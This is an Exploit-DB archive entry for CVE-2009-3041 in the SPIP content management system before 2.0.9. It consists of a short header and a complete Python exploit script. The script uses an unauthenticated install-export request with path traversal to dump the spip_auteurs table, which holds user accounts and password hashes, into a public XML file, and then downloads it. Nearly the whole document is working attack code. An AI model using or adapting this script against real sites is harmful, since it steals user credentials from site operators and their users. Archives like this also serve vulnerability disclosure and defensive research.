SPIP < 2.0.9 - Arbitrary Copy All Passwords to XML File Remote Exploit

2009-08-18T00:00:00
ID EDB-ID:9448
Type exploitdb
Reporter Kernel_Panik
Modified 2009-08-18T00:00:00

Description

SPIP < 2.0.9 Arbitrary Copy All Passwords to XML File Remote Exploit. CVE-2009-3041. Webapps exploit for php platform

                                        
                                            #!/usr/bin/env python
# SPIP - Content Management System &lt; 2.0.9 exploit
# http://www.securityfocus.com/bid/36008
# Author : Kernel_Panik
#

import urllib, urllib2
import cookielib
import sys

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

def extract_hash(formulaire):
   return formulaire.split("&lt;input name='hash' type='hidden' value='")[1].split("'")[0]


if len(sys.argv) &lt; 3:
   print "SPIP &lt; 2.0.9 exploit by Kernel_Panik\n\tUsage: python script.py &lt;Base_url&gt; &lt;filename&gt;"
   exit()

filename = sys.argv[2]
base_url = sys.argv[1]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] First request sended..."

formulaire_data = {'action' : 'export_all',
                   'export[]' : 'spip_auteurs',
                   'hash' : extract_hash(formulaire),
                   'arg' : 'start,,../../../IMG/'+filename+'.xml,0,1.3'
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+"spip.php", formulaire_data)
print "[+] Formulaire content sended"


send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] Second request sended"


send_request(urlOpener, base_url+"ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/"+filename)
print "[+] Last request sended"

xml_content = send_request(urlOpener, base_url+"IMG/"+filename+".xml")
print "[+] Xml file obtained"


result = open(filename+".xml", "w")
result.write(xml_content)
result.close()
print "[+] File saved "

# milw0rm.com [2009-08-18]